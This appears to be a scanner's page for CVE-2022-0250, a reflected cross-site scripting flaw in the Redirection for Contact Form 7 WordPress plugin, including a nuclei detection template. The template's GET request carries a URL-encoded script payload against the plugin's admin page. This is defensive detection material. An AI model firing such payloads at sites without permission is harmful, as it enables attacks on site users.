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CVE-2022-0250· redirection-for-contact-form7 / redirection for contact form 7· CWE-79

Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.

Impact

Allows attackers to execute malicious scripts in the context of a user's browser session

Fix

Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E
Positive when: contains "Key Characters: \"><script>alert(\"document_domain\")</script>" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-0250 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-0250

info:
  name: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session
  remediation: |
    Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
  reference:
    - https://wpscan.com/vulnerability/05700942-3143-4978-89eb-814ceff74867
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0250
    cwe-id: CWE-79
    epss-score: 0.01645
    epss-percentile: 0.76654
    cpe: cpe:2.3:a:redirection-for-contact-form7:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    verifiedl: true
    max-request: 1
    vendor: redirection-for-contact-form7
    product: redirection_for_contact_form_7
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wpcf7-redirect"
  tags: cve,cve2022,wordpress,wp,wp-plugin,wpcf7,contact-form7,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Key Characters: "><script>alert("document_domain")</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

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